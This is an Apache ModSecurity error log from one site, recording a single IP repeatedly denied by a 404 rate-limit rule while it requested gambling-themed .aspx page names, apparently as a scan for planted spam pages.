[Sat Apr 18 18:49:27.440646 2026] [:error] [pid 34290:tid 34343] [client 51.161.86.195:48756] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aeNhtxqX6WpmmAXOBi8DlAAAAdg"]
[Sat Apr 18 18:49:29.367989 2026] [:error] [pid 13023:tid 13027] [client 51.161.86.195:48774] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aeNhuf1e7hG8DAeABB_yBgAAAQI"]
[Sat Apr 18 18:49:29.745002 2026] [:error] [pid 13023:tid 13047] [client 51.161.86.195:48790] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aeNhuf1e7hG8DAeABB_yCAAAARY"]
[Sat Apr 18 18:49:29.811584 2026] [:error] [pid 13023:tid 13035] [client 51.161.86.195:48804] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aeNhuf1e7hG8DAeABB_yCQAAAQo"]
[Sat Apr 18 18:49:31.200725 2026] [:error] [pid 13023:tid 13030] [client 51.161.86.195:48814] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aeNhu_1e7hG8DAeABB_yEQAAAQU"]
[Sat Apr 18 18:49:32.033586 2026] [:error] [pid 34288:tid 34308] [client 51.161.86.195:48826] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aeNhvOTIiy__PtiLmpnJOgAAAZA"]
[Sat Apr 18 18:49:32.987779 2026] [:error] [pid 9865:tid 9941] [client 51.161.86.195:48834] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aeNhvKzb5knECIY-C-h0TgAAAIQ"]
[Sat Apr 18 18:49:33.858690 2026] [:error] [pid 34290:tid 34322] [client 51.161.86.195:48842] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aeNhvRqX6WpmmAXOBi8DlwAAAcM"]
[Sat Apr 18 18:49:34.911447 2026] [:error] [pid 34290:tid 34338] [client 51.161.86.195:48852] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aeNhvhqX6WpmmAXOBi8DmAAAAdM"]
[Sat Apr 18 18:49:35.989352 2026] [:error] [pid 13023:tid 13031] [client 51.161.86.195:53438] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aeNhv_1e7hG8DAeABB_yGwAAAQY"]
[Sat Apr 18 18:49:36.483353 2026] [:error] [pid 9863:tid 9892] [client 51.161.86.195:53450] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aeNhwDjjiypiFrTucbLBFwAAABM"]
[Sat Apr 18 18:49:36.824408 2026] [:error] [pid 34237:tid 34251] [client 51.161.86.195:53466] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aeNhwBBmX4Wq5a6rxfZ9UQAAAUw"]
[Sat Apr 18 18:49:37.819365 2026] [:error] [pid 13023:tid 13042] [client 51.161.86.195:53474] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aeNhwf1e7hG8DAeABB_yHQAAARE"]
[Sat Apr 18 18:49:38.699438 2026] [:error] [pid 9864:tid 9923] [client 51.161.86.195:53490] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aeNhwoCFeowknfXHM7n6qgAAAFE"]
[Sat Apr 18 18:49:38.823158 2026] [:error] [pid 9864:tid 9919] [client 51.161.86.195:53492] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aeNhwoCFeowknfXHM7n6qwAAAE0"]
[Sat Apr 18 18:49:39.789779 2026] [:error] [pid 9864:tid 9920] [client 51.161.86.195:53498] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aeNhw4CFeowknfXHM7n6rgAAAE4"]
[Sat Apr 18 18:49:40.823287 2026] [:error] [pid 9864:tid 9910] [client 51.161.86.195:53512] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aeNhxICFeowknfXHM7n6rwAAAEU"]
[Sat Apr 18 18:49:41.873872 2026] [:error] [pid 9864:tid 9917] [client 51.161.86.195:53514] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aeNhxYCFeowknfXHM7n6sQAAAEs"]
[Sat Apr 18 18:49:43.051591 2026] [:error] [pid 34237:tid 34251] [client 51.161.86.195:53528] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aeNhxxBmX4Wq5a6rxfZ9YAAAAUw"]
[Sat Apr 18 18:49:43.713647 2026] [:error] [pid 34288:tid 34313] [client 51.161.86.195:53534] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aeNhx-TIiy__PtiLmpnJQgAAAZU"]
[Sat Apr 18 18:49:44.808937 2026] [:error] [pid 9865:tid 9951] [client 51.161.86.195:53536] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aeNhyKzb5knECIY-C-h0VAAAAI4"]
[Sat Apr 18 18:49:46.005874 2026] [:error] [pid 34237:tid 34245] [client 51.161.86.195:55712] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aeNhyhBmX4Wq5a6rxfZ9agAAAUY"]
[Sat Apr 18 18:49:50.100296 2026] [:error] [pid 34237:tid 34257] [client 51.161.86.195:55722] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aeNhzhBmX4Wq5a6rxfZ9ggAAAVI"]
[Sat Apr 18 18:49:52.027286 2026] [:error] [pid 9970:tid 9988] [client 51.161.86.195:55730] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aeNh0CYdRLRhVmaIMx2j_wAAAM4"]
[Sat Apr 18 18:49:53.202787 2026] [:error] [pid 34290:tid 34335] [client 51.161.86.195:55740] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aeNh0RqX6WpmmAXOBi8DogAAAdA"]
[Sat Apr 18 18:49:54.025836 2026] [:error] [pid 34288:tid 34293] [client 51.161.86.195:55744] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aeNh0uTIiy__PtiLmpnJSQAAAYE"]
[Sat Apr 18 18:49:55.312420 2026] [:error] [pid 13023:tid 13033] [client 51.161.86.195:56692] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aeNh0_1e7hG8DAeABB_yPwAAAQg"]
[Sat Apr 18 18:49:55.404144 2026] [:error] [pid 13023:tid 13032] [client 51.161.86.195:56696] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aeNh0_1e7hG8DAeABB_yQAAAAQc"]
[Sat Apr 18 18:49:55.936386 2026] [:error] [pid 13023:tid 13027] [client 51.161.86.195:56708] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aeNh0_1e7hG8DAeABB_yRAAAAQI"]
[Sat Apr 18 18:49:57.161485 2026] [:error] [pid 34237:tid 34261] [client 51.161.86.195:56720] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aeNh1RBmX4Wq5a6rxfZ9mwAAAVY"]
[Sat Apr 18 18:49:57.268969 2026] [:error] [pid 34237:tid 34255] [client 51.161.86.195:56726] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aeNh1RBmX4Wq5a6rxfZ9nQAAAVA"]
[Sat Apr 18 18:49:58.131461 2026] [:error] [pid 9864:tid 9910] [client 51.161.86.195:56728] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aeNh1oCFeowknfXHM7n7AAAAAEU"]
[Sat Apr 18 18:49:58.867321 2026] [:error] [pid 9864:tid 9912] [client 51.161.86.195:56732] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aeNh1oCFeowknfXHM7n7BAAAAEY"]
[Sat Apr 18 18:49:59.185383 2026] [:error] [pid 9864:tid 9920] [client 51.161.86.195:56748] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aeNh14CFeowknfXHM7n7BwAAAE4"]
[Sat Apr 18 18:50:00.499871 2026] [:error] [pid 9864:tid 9910] [client 51.161.86.195:56756] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aeNh2ICFeowknfXHM7n7DAAAAEU"]
[Sat Apr 18 18:50:00.847305 2026] [:error] [pid 34237:tid 34258] [client 51.161.86.195:56772] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aeNh2BBmX4Wq5a6rxfZ9qAAAAVM"]
[Sat Apr 18 18:50:01.034731 2026] [:error] [pid 9864:tid 9921] [client 51.161.86.195:56784] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aeNh2YCFeowknfXHM7n7DQAAAE8"]
[Sat Apr 18 18:50:02.667836 2026] [:error] [pid 9864:tid 9928] [client 51.161.86.195:56800] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aeNh2oCFeowknfXHM7n7EAAAAFY"]
[Sat Apr 18 18:50:02.725043 2026] [:error] [pid 34290:tid 34341] [client 51.161.86.195:56812] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aeNh2hqX6WpmmAXOBi8DqAAAAdY"]
[Sat Apr 18 18:50:02.967675 2026] [:error] [pid 9864:tid 9927] [client 51.161.86.195:56822] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aeNh2oCFeowknfXHM7n7EQAAAFU"]
[Sat Apr 18 18:50:04.634774 2026] [:error] [pid 34237:tid 34259] [client 51.161.86.195:56830] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aeNh3BBmX4Wq5a6rxfZ9sAAAAVQ"]
[Sat Apr 18 18:50:04.662598 2026] [:error] [pid 34237:tid 34257] [client 51.161.86.195:56834] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aeNh3BBmX4Wq5a6rxfZ9sQAAAVI"]
[Sat Apr 18 18:50:04.806645 2026] [:error] [pid 34237:tid 34242] [client 51.161.86.195:56844] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aeNh3BBmX4Wq5a6rxfZ9swAAAUM"]
[Sat Apr 18 18:50:06.649585 2026] [:error] [pid 34237:tid 34245] [client 51.161.86.195:53398] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aeNh3hBmX4Wq5a6rxfZ9vAAAAUY"]
[Sat Apr 18 18:50:06.769547 2026] [:error] [pid 13023:tid 13042] [client 51.161.86.195:53414] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aeNh3v1e7hG8DAeABB_ySwAAARE"]
[Sat Apr 18 18:50:07.390583 2026] [:error] [pid 34290:tid 34328] [client 51.161.86.195:53424] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aeNh3xqX6WpmmAXOBi8DrAAAAck"]
[Sat Apr 18 18:50:08.551350 2026] [:error] [pid 13023:tid 13047] [client 51.161.86.195:53440] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aeNh4P1e7hG8DAeABB_yTgAAARY"]
[Sat Apr 18 18:50:08.706079 2026] [:error] [pid 13023:tid 13043] [client 51.161.86.195:53452] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aeNh4P1e7hG8DAeABB_yUAAAARI"]
[Sat Apr 18 18:50:09.205150 2026] [:error] [pid 34290:tid 34332] [client 51.161.86.195:53466] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aeNh4RqX6WpmmAXOBi8DrwAAAc0"]
[Sat Apr 18 18:50:10.426400 2026] [:error] [pid 9863:tid 9873] [client 51.161.86.195:53474] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aeNh4jjjiypiFrTucbLBIwAAAAA"]
[Sat Apr 18 18:50:10.597207 2026] [:error] [pid 9970:tid 9975] [client 51.161.86.195:53488] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aeNh4iYdRLRhVmaIMx2kDQAAAME"]
[Sat Apr 18 18:50:11.220793 2026] [:error] [pid 34290:tid 34331] [client 51.161.86.195:53494] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aeNh4xqX6WpmmAXOBi8DtAAAAcw"]
[Sat Apr 18 18:50:12.399025 2026] [:error] [pid 34290:tid 34330] [client 51.161.86.195:53504] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aeNh5BqX6WpmmAXOBi8DtgAAAcs"]
[Sat Apr 18 18:50:12.543193 2026] [:error] [pid 13023:tid 13045] [client 51.161.86.195:53510] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aeNh5P1e7hG8DAeABB_yVQAAARQ"]
[Sat Apr 18 18:50:13.730619 2026] [:error] [pid 13023:tid 13037] [client 51.161.86.195:53520] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aeNh5f1e7hG8DAeABB_yVwAAAQw"]
